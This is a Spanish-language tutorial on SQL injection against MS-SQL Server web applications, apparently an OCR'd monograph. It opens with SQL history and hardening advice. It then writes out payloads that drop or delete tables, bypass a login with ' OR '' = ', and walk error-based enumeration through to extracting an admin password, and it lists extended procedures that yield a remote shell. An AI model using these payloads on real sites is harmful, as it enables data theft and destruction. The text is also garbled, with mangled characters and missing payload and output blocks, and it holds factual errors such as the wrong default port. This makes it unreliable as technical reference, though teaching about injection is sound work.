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SQL Injection

Introduccién (“Entrando en Clima”)

Desarrollo (“Poniéndonos a Punto”)

Conclusién (“Al Fin Llegamos a la Meta: ; jLo Logramos!?”)
Enlaces de Interés (En Internet!)

PN~

iLa Pesadilla De Todo Programador y Disefiador Web!
Y... El Interés De Toda “Mente Curiosa”

“Cuando puedes medir aquello de lo que hablas, y expresarlo con nimeros, sabes algo acerca de ello; pero
cuando no lo puedes medir, cuando no lo puedes expresar con nimeros, tu conocimiento es pobre e
insatisfactorio: puede ser el principio del conocimiento, pero apenas has avanzado en tus pensamientos a la
etapa de La Ciencia.”

No resulta complicado manipular estadisticas; a veces es mucho mas sencillo de lo que parece.

Ustedes se preguntaran, entonces... Cual es “el punto” que quiere abordar?

Si un individuo posee dos piedras y otro no tiene ninguna, la estadistica promedio afirmara que tienen una
piedra cada uno. Sin embargo, y a pesar de los extrafios resultados proveidos por las estadisticas a nivel de
cuestiones particulares, deberiamos confiar en éstos (siempre y cuando estemos seguros de que no han
sido manipulados).

Por lo tanto, en el Mundo de las TICs (Tecnologias de la Informacién y Comunicaciones) sucede algo
similar: podemos (/legar a) confiar en los resultados obtenidos por un computador u ordenador; en tanto y en
cuanto los mismos no hayan sido “manoseados” por agentes externos a vuestro predominio y/o control.
Pero... ; Cémo saberlo a ciencia cierta?

Podria describirse a un proceso informatico como una transformacién de datos para obtener informacién. Es
decir, a través de un sofisticado (pero no por ello incomprensible) flujo y/o trayecto de los datos, éstos son
ingresados al sistema con la intencionalidad de ser operados (computados) para devolver informacion
acorde a los requisitos solicitados por el usuario del equipamiento. De esa manera, se consigue lo
“practico/util” de lo exigido.

Ahora... ; Qué sucede cuando esos datos proporcionados al ordenador/computador son falsos o, peor aun,
han sido manipulados con intencionalidad perversa?

Pues, bien, las computadoras pueden incorporar métodos (técnicas/estrategias) para detectar la
manipulacion de datos con intencion dafina y evitar resultados indeseables e impredecibles que terminan
siendo infortunios en su trabajo. Por eso, implementar tales metodologias en su/s sistema/s puede ser una
solucion determinada por una variable que condiciona (indudablemente) al tiempo: La Actualizacion; basada
en los pilares de la progresiva y continua dindmica. Empero, por otra parte, esto puede causarnos una
tediosa labor y/o migracion en los sistemas actuales; resultando ser hechos peligrosos para el entorno de
sus encargados y responsables a nivel administrativo-técnico.

En definitiva, para ir adentrandonos en los conceptos fundamentales de tales criterios, es menester aclarar
que aqui lo mas relevante no sera alcanzar el total aprendizaje de La Nota, sino lograr “captar” la potencial
peligrosidad subyacente a una indebida o incorrecta programacion y, por consiguiente, disefio Web
Dinamico (administrado con el soporte de Bases de Datos) y asesorar a las personas delegadas/autorizadas
en tales asuntos: jConceder vuestro “granito de arena”!

Introduccion (“Entrando en Clima”)
¢A quién no le agrada “un poco” de Historia? Mejor, resérvense las respuestas. Pero, no lo dejaremos pasar
por alto...

e SQL (El Comienzo):

' William Thomson -Lord Kelvin- (1824-1907): Matemético y fisico britdnico, uno de los principales fisicos y mas importantes
profesores de su época.

En 1848 Kelvin estableci6 la escala absoluta de temperatura que sigue llevando su nombre. Su trabajo en el campo de la electricidad
tuvo aplicacion en la telegrafia. Estudio la teoria matematica de la electrostatica, llevo a cabo mejoras en la fabricacion de cables e
invento el galvanometro de iman movil y el sifon registrador, entre otros maravillosos descubrimientos.
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El Lenguaje de Consulta Estructurado (Structured Query Language), cariiosamente conocido (por
nosotros) con la nomenclatura de SQL, es un lenguaje declarativo de acceso a bases de datos
relacionales que permite especificar diversos tipos de operaciones sobre las mismas. Concentra
caracteristicas del algebra y el calculo relacional permitiendo lanzar consultas con el fin de
recuperar informaciéon de interés de un “banco de registros”, de una forma sencilla y poderosa.
Forma parte de los lenguajes de Cuarta Generacion (4GL).
Pero, ¢como llegé a “nuestras manos”?
Sus origenes dan a conocer que en 1970, Codd, propone el modelo relacional y asociado a este un
sublenguaje de acceso a los datos basado en el calculo de predicados. Apoyandose en estas ideas,
los laboratorios de IBM definen el lenguaje SEQUEL (Structured English QUEry Language) que mas
tarde seria ampliamente implementado por el SGBD (Sistema de Gestion de Base de Datos)
experimental System R, desarrollado en 1977 también por IBM. Sin embargo, fue Oracle quien lo
introdujo por primera vez en 1979 en un programa comercial.
El SEQUEL terminaria siendo el predecesor de SQL, siendo éste una version evolucionada del
primero.
El SQL pasa a ser el lenguaje por excelencia de los diversos SGBD relacionales surgidos en los
afios siguientes y es, por fin, estandarizado en 1986 por el ANSI, dando lugar a la primera version
estandar de este lenguaje, el SQL-86 o SQL1. Al afo siguiente este estandar es también adoptado
por la ISO.
Empero, este primer estandar no cubre todas las necesidades de los desarrolladores e incluye
funcionalidades de definicidon de almacenamiento que se consideraron suprimir. Asi que en 1992 se
lanza un nuevo estandar ampliado y revisado del SQL llamado SQL-92 o SQL2.
En la actualidad el SQL es el estandar de facto de la inmensa mayoria de los SGBD comerciales. Y,
aunque la diversidad de afiadidos particulares que incluyen las distintas implementaciones
comerciales del lenguaje es amplia, el soporte al estandar SQL-92 es general y muy extenso.
Asimismo, el ANSI (Instituto Nacional Estadounidense de Estandares) SQL sufrié varias revisiones y
agregados a lo largo del tiempo, por ejemplo, en una de sus ultimas observaciones estudiadas, se
permitié incluir: caracteristicas del XML (Lenguaje de Marcas Extendidos), columnas autonuméricas,
cambios y avances en ciertas funciones, etcétera.
Hoy, a casi 30 afos de su aparicion, el “Pure SQL” ha demostrado que lejos de sus inicios como
lenguaje “embebido”, se ha convertido en una poderosa herramienta, capaz de manejar estructuras
I6gicas complejas, asi como cualquier tipo de dato imaginado. De hecho, una versién en desarrollo
denominada SQL3 comparte tantos atributos con los lenguajes de programacion actuales que uno
se puede animar a considerarlo como una version de un verdadero (valga la redundancia) Lenguaje
de Programacion Standalone?.

e MICROSOFT (Y Su RDBM):
Microsoft SQL Server es un sistema Manejador de Bases de Datos Relacionales (RDBM), como los
que estuvimos describiendo arriba, basado en el lenguaje SQL, capaz de poner a disposicion de
muchos usuarios grandes cantidades de datos de manera simultanea. Este tiene algunas ventajas
que a continuacion pueden nombrarse:

e Soporte de transacciones.

Gran estabilidad.

Mayor seguridad.

Escalabilidad.

Soporte de procedimientos almacenados.

Potente entorno grafico de administracion.

Trabajo en modo cliente-servidor.

Administracion de informacidn en otros servidores de datos.

Mas alla de sus aptitudes, el Proyecto mismo surge cuando las Politicas Visionarias de IBM no

parecian “apuntar” a la mismas tendencias de MS; quienes (por la década del "90) empezaban a

tener conflictos con aquellas alianzas que parecian haberlos catalogados como un “monstruo de dos

cabezas” (al parecer -ya- no invencible).

? Término engafioso que se usa para interpretar la interoperabilidad de un sistema como aplicacién capaz de realizar todos los
procesos requeridos con respecto a las demandas expuestas. También, suele considerdrselo como un programa “sin interfaz”.
Aunque, tal indicio esta cambiando a través del tiempo.
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En medio de este escenario, MS sabia que tenia que conseguir ganar en “sus negocios” y no podia
dejarse estar. Para ello, requeriria de aplicaciones comerciales que aprovecharan el potencial de su
nuevo desarrollo tecnoldgico: el tan temido Windows NT.
Con esto “en mente”’, SE aprovechd de lo que se habia estado haciendo en los laboratorios
compartidos de su anterior asociacion (IBM-MS), y tomo6 a Sybase como su predilecta “mascota”
para el manejo de bases de datos relacionales (RDBM); decidiendo portarlo (en aquel momento) a
su mas reciente plataforma (SO).
De esta forma, en el afio 1992 nacia la primer Version Beta de MS-SQL, bajo el nombre “Microsoft
SQL Server 4.2 V. 1 for Windows NT”, la cual no se distribuiria sino hasta principios del afio 1993.
Fue asi que, a través del paso del tiempo y otros hitos mediante, se fueron sucediendo varias
versiones de lo mismo hasta llegar a la actual preexcelencia (MS-SQL Server 2003); constituyendo
la alternativa/competencia monoplataforma de Microsoft a otros potentes sistemas gestores de
bases de datos relacionales como son Oracle, MySQL y PostgreSQL.
Ademas, vale constatar que este sistema incluye una versién reducida (Express), llamada MSDE,
con el mismo motor de base de datos pero orientado a proyectos mas pequefios, como los
desempenados por las PyMEs.
Ahora bien, pero... ;A qué se debe la necesidad de tal breve resefia histérica desplegada sobre el tema?
Sorprendentemente, el legado informatico evolucionado en el contexto arriba remarcado, no fue suficiente
para impedir las vulnerabilidades sobre cualquier Sistema de Gestion/Administracion de Bases de Datos
(independientemente de su empresa desarrolladora y version conocida del producto en el mercado actual).
Consistiendo, asi, que numerosos errores y/o desperfectos ocurridos a lo largo de estas épocas (tan
resurgentes e impactantes para la Seguridad Informatica) devinieran (en algunos casos)
relacionados/vinculados a mecanismos que se han heredado del antiguo Sistema de Seguridad propuesto
en los productos iniciales; los cuales no tenian una verificacion y evaluaciéon exhaustiva sobre las premisas
de La Seguridad (valga todo este “juego de palabras”).
De ahi, vuestro interés en seguir estudiando, investigando y desdoblando los estados, patrones y
comportamientos emblematicos de este apasionante Mundo Digital; al cual, lo invito para contemplarlo a
continuacion...

Desarrollo (“Poniéndonos a Punto”)
e Aspectos Basicos del SQL:

El SQL es un lenguaje de acceso a bases de datos que explota la flexibilidad y potencia de los
sistemas relacionales permitiendo gran variedad de operaciones sobre los mismos. Es un lenguaje
declarativo de alto nivel o de no procedimiento, que gracias a su fuerte base tedérica y su orientacién
al manejo de conjuntos de registros, y no (comiunmente) a registros individuales, permite una alta
productividad en codificacion. De esta forma una sola sentencia puede equivaler a uno o mas
programas que utilizasen un lenguaje de bajo nivel orientado a registro.

El SQL proporciona una rica funcionalidad mas alla de la simple consulta (o recuperaciéon y
modificacion) de datos. Asume los siguientes grupos de comandos principales:

e DCL (Data Control Language) -> Comandos del lenguaje para el control de datos

GRANT: Utilizado para otorgar permisos.
REVOKE: Utilizado para revocar permisos.
DENY: Utilizado para denegar accesos.

e DDL (Data Definition Language) -> Comandos del lenguaje para la definicion de datos

CREATE: Utilizado para crear nuevas tablas, campos e indices.
DROP: Utilizado para eliminar tablas e indices.
ALTER: Utilizado para modificar tablas agregando campos o cambiando sus definiciones.

e DML (Data Manipulation Language) -> Comandos del lenguaje para la manipulacion de
datos

SELECT: Utilizado para consultar registros en una DB que cumpla criterios determinados.
INSERT: Utilizado para cargar lotes de datos en la DB en una Unica posicion.
UPDATE: Utilizado para modificar los valores de los campos y registros especificos.
DELETE: Utilizado para eliminar registros de una tabla de DB.
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e Clausulas (Statements) -> Disposiciones para la declaracién de condiciones

FROM: Utilizada para especificar la/s tabla/s de la/s cual/es se seleccionaran registros.
WHERE: Utilizada para especificar las condiciones que deben cumplirse en la instruccion.
GROUP BY: Utilizada para separar los registros seleccionados en grupos especificos.
HAVING: Utilizada para expresar la condicion que debe satisfacer cada grupo.
ORDER BY: Utilizada para ordenar registros seleccionados segun un patrén especifico.

e Operadores de Comparacidon (Simbolos) -> Conjunto de ejecutores de procesos
comparativos

<: Menor que
>: Mayor que
<>: Distinto de

<=: Menor o igual que

>=: Mayor o igual que

=:Igual que
BETWEEN: Utilizado para especificar un intervalo de valores.
LIKE: Utilizado en comparacién de un modelo.
IN: Utilizado para especificar registros de una DB.

Para ver de forma clara un mero Diagrama de Flujo que lo exhiba, tenemos:

Comandos DCL
(Data Control Language

Statements) Clausulas

Comandos DDL
(Data Definition Language
Statements)

Comandos DML Operadores

{Data Manipulation de Comparacion

Language Statements)

Entonces, haciendo uso de la correcta combinacion de estos comandos, clausulas y operadores,
seremos capaces de establecer fuertes “sentencias” o “consultas” que una vez enviadas al Software
DB, seran procesadas, y arrojaran un resultado que responda al criterio de seleccion utilizado en
vuestra sintaxis.

También, debemos destacar que el SQL permite (fundamentalmente) dos modos de uso:

e Un uso interactivo: destinado principalmente a los usuarios finales avanzados u
ocasionales, en el que las diversas sentencias SQL se escriben y ejecutan en linea de
comandos o un entorno semejante.

e Un uso integrado: destinado al uso por parte de los programadores dentro de desarrollos
escritos en cualquier lenguaje de programacion natal. En este caso se asume el papel de
sublenguaje de datos.

Por lo tanto, en el caso de hacer un uso embebido del lenguaje, podemos utilizar dos técnicas
alternativas de programacion:

e SQL estatico: las sentencias utilizadas no cambian durante la ejecucién del programa.

e SQL dinamico: se produce una modificacion total o parcial de las sentencias en el
transcurso de la ejecucion del programa. Esta permite mayor flexibilidad y complejidad en
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las sentencias, pero como contrapunto obtenemos una eficiencia menor, y el uso de
técnicas de programacion suele ser engorrosa para el manejo de la memoria y variables.
Bueno, a modo de Ejemplo consignamos:
2 SELECT * FROM Alumnos
(Muestra todos los registros de datos correspondientes a los alumnos de la tabla que lleva
su nombre).

£ SELECT * FROM Alumnos WHERE Apellido = 'Acosta’

(Muestra aquellos registros de datos correspondientes a alumnos con el apellido “Acosta” en
tal tabla).

& SELECT * FROM Alumnos WHERE Nombre = 'Maximiliano' AND Apellido = 'Acosta’
(Muestra aquellos registros de datos correspondientes a alumnos con el nombre
“Maximiliano” y el apellido “Acosta” en tal tabla; restringiendo un conjunto de resultados
menores que el anterior caso).

2 UPDATE Logins SET Password = 'cr3amfi3ld5' WHERE user = 'root’

(Actualiza -cambia- la contrasefia del usuario detallado por el valor indicado -“cr3amfi3Iid5”-).
£ SELECT numemp, nombre FROM empleados WHERE deudas > tope

(Lista el N° de empleado y su nombre en aquellas personas cuyas deudas superan el tope

permitido).

£ SELECT numemp, nombre FROM empleados WHERE contrato <= #01/01/2000#

(Lista los empleados contratados para la fecha estipulada o menor que la misma).

€& SELECT numemp, nombre FROM empleados WHERE ventas BETWEEN 300 AND 700
(Lista los empleados cuyas ventas estén comprendidas entre 300 y 700).

2 DELETE * FROM Clientes WHERE Provincia = 'Landeta’

(Elimina a todos los clientes que pertenezcan al pueblo especificado -“Landeta’-).
2 CREATE TABLE Usuarios (
Nombre VARCHAR (30),
ID CHAR(5),
Caduca DATE NOT NULL,
PRIMARY KEY (ID)
)
(Crea una tabla con el nombre de “Usuarios” e incluye los campos con sus respectivos tipos
de datos).

Entre otros tantos paradigmas y/o modelos a tener en cuenta, que Ud. puede profundizar a través
de la vasta, (in)finita y tan adorada “Red de Redes” (Internet).

jPerfecto! Ahora, sin dejar a nadie de lado por desconocimiento (“La Informacién le pertenece a La
Humanidad y, por tanto, a todas las Personas que asi lo deseen; siendo Universal, Libre y
Gratuita”), nos concentraremos en el Quid en Cuestion de La Nota (su tema principal y semblantes
derivados del mismo)...

Seguridad Integral en MS-SQL Server:

¢, Puede conseguirse qué un producto de este tipo sea Integralmente Seguro con su “instalacion por
defecto™?

Terminantemente, y sin temor para aseverar mi opinion, iNO! Pues, hasta vuestros dias, no existe
implementacién de sistema alguno (ya sean estos, DB o Aplicativos) que no deban ser iddbneamente
configurables para los planes estipulados por el organismo al cual se “rinde cuentas”.

Por lo tanto, algunas recomendaciones a seguir quedaran en los siguientes escenarios practicos:

e Cuentas por Defecto: Tan renombrado y conocido conjunto de palabras, aunque no lo
parezcan, suelen ser el motivo mas perjudicial para la administracion de Sistemas de tal
indole; causando que estos se transformen en “presas faciles” para ciertas personas
astutas (creidas Hackers) que pululen por ahi. Por ende, la Cuenta Maestra que se genera
durante la Instalacion Predetermina de MS-SQL Server recibe el nombre de “SA” (System
Administrator) y, como era sustento de sospechas, su contrasefia predefinida es,
sencillamente, “” (jNada! jEn Blanco!).

Entonces, ¢qué podria ocurrir en caso de que alguien accediera al Sistema con tales
privilegios?
En una vacilante respuesta: jUna Catastrofe! No habria limites para quién lo halla obtenido.

e NetlLibs y Puertos por Defecto: MS-SQL Server soporta multiples conexiones de red en
cuanto a puertos y librerias se refiere (NetLibs). Esto le permite al Administrador del
Sistema manejarse con total libertad para otorgar “tipos de enlaces de trabajo” segun crea
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convenientes. Algunos ejemplos son: TCP/IP, Named Pipe, SAN, AppleTalk, IPX/SPX,
etcétera.

Sin embargo, a pesar de que el riesgo que se corre con lo arriba detallado no suele ser
mayor, el Servidor MS-SQL quedaria delatandose con su estado en el Puerto 1443. Y, eso
es una falta grave para ser aprovechada por otros en cuestion de saber su
“posicionamiento” y contexto involucrado.

e Buffers Overflows: No estd demas decir que MS-SQL Server obtuvo cierta fama de “fragil”
por los Desbordamientos de Buffers encontrados en el pasado. Y, por ende, nuevas
variantes de los mismos en el presente. Por eso, el tratamiento de paquetes (UDP/TCP) por
parte del Sistema estara resguardado en aquel Administrador con aptitudes de actualizarse
apenas sean anunciados los Boletines de Advertencias Criticas (0, no “tan criticas”, que
después terminan siéndolo) para incluirlas al Sistema y asegurar “su futuro” (en todo
sentido).

Pero, como no es la intenciéon de esta Nota extenderse sobre tales vulnerabilidades,
simplemente nombraremos aquellas que han sabido estar vinculadas a la llamada del
Sistema en manos de “srv_paraminfo()”. Por ende, los contenidos procedimentales que
“abusan” de ella para Exploits son:
= Xp_peekqueue
=  Xp_printstatements
=  Xxp_proxiedmetadata
=  Xxp_setsqlsecurity
= Xp_sqlagentmonitor
=  Xxp_enumresultset
= xp_showcolv
= xp_displayparamstmt
=  Xp_updatecolvbm
Por ende, usar tales “Procedimientos Almacenados Extendidos” (Transact SQL), propios
(solamente) de MS-SQL Server, cabe dentro de las posibilidades de “hacerse” de una
Cuenta un tanto especial (dada, exclusivamente, por el “SA”) y una Shell Remota (Intérprete
de Comandos Externo) a nivel del SO. Con tales perspectivas, el compromiso (altamente
peligroso) que (ahora) posee el Host (Anfitrion) es inaudito. Y, vuestras desventajas vuelan
por doquier.
En definitiva, cada uno llevara a cabo sus ataques con ciertas artimafas/artilugios propios de sus
criterios. Los cuales haran de los supuestos nombrados potenciales embestidas en cualquier
Sistema MS-SQL Server (u otro de similar categoria) y un probable dafio a reportarse cuando
“menos se lo espera” y “mas suele doler”...
SQL Injection (Inyecciéon SQL):
Por fin llegamos al motivo vital de esta Nota. Pero, ja qué se denomina Inyeccion SQL (SQL
Injection)?
Se llama asi a una vulnerabilidad informatica en el nivel de base de datos de una aplicacion
dinamica.
El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con codigo
embebido SQL. Es, de hecho, un error de una clase mas general de vulnerabilidades que puede
ocurrir en cualquier lenguaje de programacion o de Script que esté incrustado dentro de otro. O sea,
como si fuera un “mensaje subliminal” en una publicidad; todos han de notar la idea del Marketing,
pero pocos descubren lo que se esconde detras de esta y sus alrededores.
Entonces, una Inyeccion SQL sucede cuando se inserta o "inyecta" (de ahi su nombre metddico) un
codigo SQL "invasor" dentro de otro cédigo SQL “nativo” para alterar su funcionamiento normal, y
hacer que se ejecute maliciosamente el cddigo "asaltante" en la base de datos y su entorno.
La Inyeccién SQL es un problema de seguridad informatica que debe ser tomado en cuenta por el
programador/disefiador Web (normalmente apodado Webmaster) para prevenirlo. Un programa
hecho con descuido, displicencia, o con ignorancia sobre el inconveniente, podra ser vulnerable (y
posteriormente explotable), provocando que la seguridad del sistema puede quedar seriamente
comprometida. Esto puede suceder tanto con programas corriendo en PC Desktops, Notebooks,
como en Servidores que alojan Portales Webs; ya que todo depende de tales Sistemas o Aplicativos
ejecutéandose en ellos.
Asi, la vulnerabilidad puede ocurrir cuando un programa o artifice humano "arma" descuidadamente
una sentencia SQL, con parametros dados por el usuario, para luego hacer una consulta a una base
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de datos. Dentro de los parametros dados por el usuario podria venir el cédigo SQL inyectado. De
esa forma, al ejecutarse esa consulta por la base de datos, el cédigo SQL inyectado también se
ejecutara y podria hacer un sinnimero de cosas, como por ejemplo: insertar registros, modificar o
eliminar datos, autorizar accesos e, incluso, ejecutar codigo malicioso en el Terminal
correspondiente (o no).
Bueno, ahora... jVayamos a lo nuestro! Sumerjamonos en los Modelos Practicos (Paradigmas)
obtenidos.
Asumiendo que el siguiente cddigo esta en una Aplicacién Web y que existe un parametro “Nombre
Usuario” que contiene (valga la reiteracién) el nombre de usuario otorgado por nosotros, la
Inyeccion SQL® posible es:

| Consulta Web := "SELECT * FROM usuarios WHERE nombre ="" + nombreUsuario + "";" |

Si el usuario escribe su nombre, digamos “Javier’, nada anormal sucederia. La aplicaciéon generaria
una sentencia SQL similar a la siguiente, que es cabalmente correcta, donde se seleccionaria al
usuario mismo:

SELECT * FROM usuarios WHERE nombre = 'Javier'; |
Pero, si un usuario malintencionado confecciona la posterior sintaxis, los resultados no serian para
nada ansiados:
| "Javier'; DROP TABLE usuarios; SELECT * FROM datos WHERE nombre LIKE '%"'" |
Lo ocurrido generaria la siguiente consulta SQL (el color verde es lo que pretende el programador,
el azul es el dato, y el rojo, el cédigo SQL Inyectado):
SELECT * FROM usuarios WHERE nombre = 'Javier'; DROP TABLE usuarios;
SELECT * FROM datos WHERE nombre LIKE '%";
Asimismo, la DB ejecutaria la consulta en orden: seleccionaria el usuario “Javier”, borraria la tabla
“usuarios” y seleccionaria datos que quiza no estan disponibles para los usuarios Web comunes.
En resumen, cualquier dato de la DB esta disponible para ser leido o modificado por un usuario
malintencionado (y, lo peor del caso, sin evidentes restricciones).
iWow! Pareciera increible que con un “simple navegador para Internet” una persona pudiera realizar
esto, sno?
A continuacion, quedara demostrado:
Imaginemos un Sitio Web “www.soylavictima.com” que se dedica a la venta de libros. EI mismo usa
paginas ASP y una base de datos gestionada con MS-SQL Server. Esta ubicado... ;Quién sabe
donde? Si, total, cualquiera lo tiene y puede alcanzarlo remotamente.
Pues, cuando hacemos clic en uno de los libros ofertados en la pagina principal se muestra su
detalle en la siguiente direccién (la cual indica la seleccion del elemento para operar con este):
| www.soylavictima.com/detbooks.asp?ID=136 |
Esa direccion indica que se muestre el contenido de la pagina “detbooks.asp” para el libro nimero
136 (ese es el cédigo unico del libro en la base de datos). El identificador SQL interno de la pagina
ASP sera similar a este:
| SELECT * FROM Books WHERE Code = ID |

Donde “ID” es el codigo del libro que aparece en la direccidn de la pagina. Esto enviara a la base de
datos la siguiente instruccién:

SELECT * FROM Books WHERE Code = 136 |

Y la base de datos devolvera todos los campos del registro de la tabla “Books” que tenga el codigo
136 (supuestamente, si es Unico, no seria mas que uno).
Bien... Pero, ;ddnde esta el problema? El problema esta en que el valor de “ID” se envia a la base
de datos sin verificarlo, con lo cual, modificando este valor (en el caso dispuesto, 136), es posible
alterar la instruccién que se envia a la DB. Por ejemplo, escribiendo la direccién de la pagina en el
navegador de esta manera:

| www.soylavictima.com/detbooks.asp?ID=136; DELETE * FROM Books |

Pues, lo que estariamos enviando a la base de datos seria la siguiente instruccion (a modo de
sintaxis):

SELECT * FROM Books WHERE Code = 136; DELETE * FROM Books |

3 Notese “por qué” se llama Inyeccion SQOL o, lo que es lo mismo en su traduccion inglesa, Injection SOL.
Si observamos el codigo malicioso, de color rojo, vemos que estd en el medio del codigo bueno, el verde; teniendo en cuenta datos.
El cddigo rojo ha sido "inyectado" dentro del verde; provocando las intenciones (objetivos/metas) del atacante por sobre la victima.

Para ver trabajos similares o recibir informacion semanal Bobre nuevas publicaciones, visite www.monografias.com


http://es.wikipedia.org/wiki/Aplicaci%C3%B3n_web

www.monografias.com

Lo que pasa es que MS-SQL Server (como muchas otras sintaxis de muchos otros SGBD) toma el
caracter “;” como una separacion de instrucciones, con lo que después de hacer el SELECT
ejecutara la instruccion DELETE, borrando todos los registros de la tabla de “Books”. Divertido,
i verdad? Aun, falta lo mejor.

Incluso, una forma sencilla e inofensiva de comprobar si un Sitio Web sufre esta vulnerabilidad, es
anteponer una comilla simple “ ' ” al valor del parametro elegido, para provocar un error de sintaxis

en el Portal “objetivo” (/a instruccién no es correcta). Por ejemplo:

| www.soylavictima.com/detbooks.asp?ID="136

Esto enviara a la base de datos la instruccién siguiente:

| SELECT * FROM Books WHERE Code = '136

Entonces, MS-SQL Server no reconocera la comilla simple como parte de la instruccion y nos
devolvera un mensaje de error indicandolo. De esta manera, podemos saber si es posible alterar la
instruccion que se envia a la base de datos. En resumen, hacer SQL Injection ;-).

Empero, hace un rato anunciaba que faltaba muy poco para “lo mejor”. Pues, “lo mejor” ha llegado...
A medida que incursionemos en los siguientes prototipos, la complejidad de los mismos ira
aumentando paulatina y progresivamente. De ese modo, tdmense el tiempo que les sea necesario
para entenderlos o ponerlos “en marcha” y, luego, sigan con los Ejercicios que se disponen o tengan
en mente ustedes (s6lo su imaginacion sera barrera para imponer limites/obstaculos; no Yo con Mis
Aportes).

Un ejemplo (un poco) mas practico seria el siguiente:

Tenemos un formulario que nos pide que introduzcamos un nombre de usuario y una contrasena
(conocido en la jerga con el nombre de Login). El servidor ejecuta una sentencia SQL para verificar
que existe el usuario y que su contrasefa es la que hemos introducido (validacién del Login).
Entonces, la sentencia SQL podria ser:

Utilizando vuestros conocimientos aprendidos, se podria modificar la sentencia para “jugar a nuestro
favor”.

Supongamos que conocemos la existencia de un usuario llamado “admin” y queremos entrar en el
sistema usando sus credenciales. Evidentemente, desconocemos su contrasefa, pero podria ser
remediable.

Por eso, vamos a utilizar como contrasefia' OR " =
la sentencia y convertirla en:

"

(nétense las comillas simples) para modificar

Probablemente, la contrasefia del usuario no sea nula ("), pero hemos modificado la sentencia para
qgue nos devuelva el usuario gracias a la introduccioén del parametro “OR” que compara la expresion '
'="'' Logicamente,''=""'es verdadero, asi que el servidor nos permitira la entrada.

iTremendo! A pesar de que poder acceder a una pagina Web sin proveer la contrasefa correcta es
un error enorme, las posibilidades de inyeccion de cédigo SQL van mucho mas alla. Y lo trataremos
a continuacion...

La parte complicada de este método no es encontrar las respuestas a las preguntas, sino ser lo
suficientemente inteligente como para formular las preguntas adecuadas a nuestros planes. Y esto
no sélo lo digo Yo, el mismisimo GENIO Albert Einstein* lo pronunciaba en una de sus Frases
Célebres: “La elaboracion de una pregunta (si esta bien hecha) suele ser mas importante que su
propia respuesta”.

El problema residente en la anterior sentencia SQL (armada a medida por nosotros) es que para
poder hacer las modificaciones descritas necesitamos saber de antemano la estructura de la DB,
esto es, nombre de las tablas y campos que la componen (como minimo y necesario). De por cierto,
esta claro que, como “norma general”’, siempre desconoceremos la estructura de la DB, lo cual
trunca un poco vuestras expectativas. Pero, ello no impide que nuestro ingenio (o ingenieria social,
en algunos asuntos aislados) nos lleve a destinos mas prosperos.

Por lo tanto, tomando como analogia metaférica escolastica nuestro “medio ambiente” disertaremos
sobre ello.

4 Albert Einstein (1879-1955): Fisico aleman nacionalizado estadounidense, premiado con un Nobel, famoso por ser el autor de las
teorias general y restringida de la relatividad y por sus hipdtesis sobre la naturaleza corpuscular de la luz. Entre otros maravillosos
inventos y espectaculares investigaciones/descubrimientos.

Es probablemente el cientifico mas reconocido y prolifero del siglo XX.

Para ver trabajos similares o recibir informacion semanal&obre nuevas publicaciones, visite www.monografias.com



www.monografias.com

Con su permiso y honorable consideracién, Yo voy a ejercer de maestro, y mi alumno aplicado va a
ser un Servidor SQL. jNo se enojen! Por supuesto, ustedes también seran mis alumnos, pero lo que
les diferencia de un Servidor SQL es, sencillamente, la razén légica de que un Servidor SQL nunca
se convertira en un maestro.

Filemos “la atmdsfera”. una Aplicacion Web programada en VBScript accede a una base de datos
almacenada en un servidor gestionado con Microsoft SQL Server. La aplicacion requiere de un
nombre de usuario y de una contrasefa para ingresar. Ademas, sabemos que la aplicacion no
efecta una comprobacion de los datos que introduce el usuario (como suponiamos en muestras
anteriores).

Por lo tanto, para empezar, introducimos como nombre de usuario lo siguiente:

Lo cual producira un error y el servidor nos devolvera:

Como alumno responsable, el Servidor SQL nos da la respuesta adecuada a nuestra pregunta. El
uso de la comilla simple (') en el nombre de usuario nos ha permitido modificar la sentencia SQL
para poder usar “HAVING”. La secuencia de caracteres "--" se usa para indicar que lo que sigue a
continuacion es un comentario de una sola linea, y en consecuencia el servidor ignorara lo que siga.
Pues, si la sentencia original fuera:

| La modificacién efectuada la habria convertido en: |
La transformacion de esta sentencia nos ha proporcionado dos interesantes respuestas: el nombre
de la tabla (Usuarios) y el nombre de uno de los campos de la tabla (ID); visto en el error arriba
conseguido.
iToo Much! La siguiente pregunta la enunciaremos introduciendo en el nombre de usuario lo
siguiente:

Lo cual producira un nuevo error y el servidor nos mostrara:

iSonrie! Otra respuesta del servidor que nos proporciona otro de los campos de la tabla Usuarios
(Username).

De esta manera, podemos continuar haciendo preguntas hasta que lleguemos a introducir como
nombre de usuario lo siguiente:

Asi, este nombre de usuario no producira ningun error porque es equivalente a haber modificado la
sentencia SQL por la siguiente:

Llegado este punto ya conocemos todos los campos de la tabla usuarios (ID, Username, Password
y Privilege) e incluso el orden en que ellos se encuentran.

Otra informacién que estamos interesados en conocer es el tipo de datos que se albergan en cada
campo. Para ello formularemos nuevas (y rebeldes) preguntas.

Por ende, como nombre de usuario utilizaremos:

Y el “reverendo” servidor nos devolvera:
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Como buen alumno, el servidor nos ha facilitado el tipo de dato que se aloja en los campos
Username (varchar, es decir, caracteres alfanuméricos). La funcién SUM() intenta sumar todos los
resultados de la sentencia, pero esta accidon no puede efectuarse (a menos que los resultados sean
numeéricos); por eso el error da sus réditos.

Por el momento, los interrogantes formulados han facilitado informacion acerca de la estructura de
la DB. Pero, todavia no nos han develado nada acerca del contenido de la misma. Ahora, que
conocemos parte de la estructura de la base de datos, conseguir la informacién contenida en ella es
(relativamente) viable. Para ello, y como hemos venido haciendo hasta ahora, introducimos el
siguiente nombre de usuario:

¢iQué ocurre!? Bueno, para que el UNION SELECT se pueda ejecutar, es necesario facilitar tantos
valores como campos tiene la tabla. Es decir, como la tabla contiene cuatro (4) campos se hace
necesaria la introduccion de cuatro (4) valores, que en este caso han sido tres (3) "unos" (1).
Ademas, en este ejemplo, la clausula WHERE provoca que la sentencia nos devuelva el primer
usuario que empiece por la letra "a". Asimismo, el mensaje de error del servidor nos indica que no
se puede pasar un campo de tipo varchar a la funcion MIN():

Y... iCémo no! Podemos probar lo mismo para averiguar la contrasefia. Usando como nombre de
usuario:

De esa forma, obtenemos el siguiente error:

Ahora, ya conocemos el nombre de usuario (admin) y su contrasefia (seledonio).
A estas alturas, si fuéramos los protagonistas de una pelicula, estariamos viendo la tan anhelada
escena en la cual aparecen en la pantalla del ordenador unas letras muy grandes de color verde en
las que se puede leer: "Access Granted".
Pero, Yo confio (plenamente) en ustedes con saber que no “creen todo lo que ven” (las apariencias
enganan).
